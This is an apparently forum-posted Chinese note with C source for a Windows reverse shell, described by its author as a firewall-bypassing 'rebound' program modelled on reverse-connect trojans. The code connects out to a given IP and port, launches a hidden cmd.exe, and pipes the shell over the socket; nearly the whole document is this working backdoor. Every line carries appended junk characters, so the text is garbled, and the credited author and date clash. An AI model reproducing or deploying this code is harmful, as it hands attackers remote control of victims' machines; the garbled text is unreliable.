这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SLoo:)
#D)x}#V\
/* ============================== T=\!2gt
Rebound port in Windows NT EXpSh}
By wind,2006/7 0H:dv:#WAI
===============================*/ >.LKct*5K
#include 9Nt3Z>d
#include Fu)Th|5GZ
@2' %o<lF
#pragma comment(lib,"wsock32.lib") 4P kfUMX
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void OutputShell(); &KqVN]1+^
SOCKET sClient; (wA?;]q(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T:!MBWYe |
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void main(int argc,char **argv) '6zd;l9Z
{ D,rZ0?R
WSADATA stWsaData; T[.[
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int nRet; dr})-R
SOCKADDR_IN stSaiClient,stSaiServer; km\%BD~
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if(argc != 3) #":a6%0Q
{ T;?+kC3
printf("Useage:\n\rRebound DestIP DestPort\n"); p|VcMxT9-
return; .3wY\W8Dr-
} a8s4T$
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WSAStartup(MAKEWORD(2,2),&stWsaData); |9,UaA
agsISu(
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r
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stSaiClient.sin_family = AF_INET; y\[r(4h
stSaiClient.sin_port = htons(0); Tbh '_F6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jA`a/vWu
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q}P-$X+/ n
{ "#S>I8d
printf("Bind Socket Failed!\n"); }kPVtSQ
return; JR1*|u
} -JTG?JOd]
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stSaiServer.sin_family = AF_INET; - ]Y wl
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )Au&kd-W@(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S< x:t(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %#k,6;m
{ gaeOgP.0
printf("Connect Error!"); Sdc*rpH"(
return; RvW.@#EH0
} ;Qa;@
OutputShell(); )iSy@*nY
} "DjU:*'
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void OutputShell() "$8w.C
{ KXe
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char szBuff[1024]; ]^@0+!
SECURITY_ATTRIBUTES stSecurityAttributes; p@tp]u`7
OSVERSIONINFO stOsversionInfo; Jz$>k$!UD
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w3bIb$12
STARTUPINFO stStartupInfo; ,!>fmU`E4
char *szShell; 0QoLS|voA/
PROCESS_INFORMATION stProcessInformation; H8i+'5x,?
unsigned long lBytesRead; HV\"T(89
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b1=pO]3u
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8c).8RL f
stSecurityAttributes.lpSecurityDescriptor = 0; B] i:)
stSecurityAttributes.bInheritHandle = TRUE; +/q0Y`v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Gl>E[iO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iQ{z6Qa
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @1.9PR$x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oKiD8':
stStartupInfo.wShowWindow = SW_HIDE; *w 21U!
stStartupInfo.hStdInput = hReadPipe; UE7'B?
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8.2`~'V
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GetVersionEx(&stOsversionInfo); JUU&Z[6J
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switch(stOsversionInfo.dwPlatformId) yFO)<GLk
{ kW(Kh0x
case 1: {F!v+W>
szShell = "command.com"; 5H!%0LrJg=
break;
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default: I>Y{>S
szShell = "cmd.exe"; /.v_N%*-v
break; _H2tZ%RM
} Hf_'32e3<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); os_WYQ4>j
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send(sClient,szMsg,77,0); cz>mhD
while(1) N(BiOLZL6
{ @T/q d>T o
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (HJ$lxk<2h
if(lBytesRead) o}W;Co
{ ^Po,(iIn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B{99gwMe]
send(sClient,szBuff,lBytesRead,0); E[*0Bo]
} '$*[SauAG
else ^(g_.>
{ m2ox8(sd
lBytesRead=recv(sClient,szBuff,1024,0); wo]ks}9
if(lBytesRead<=0) break; 1=>2uYKR
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 94YA2_f;
} r},lu=em
} _[%n ~6
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return; S%{lJYwXt
}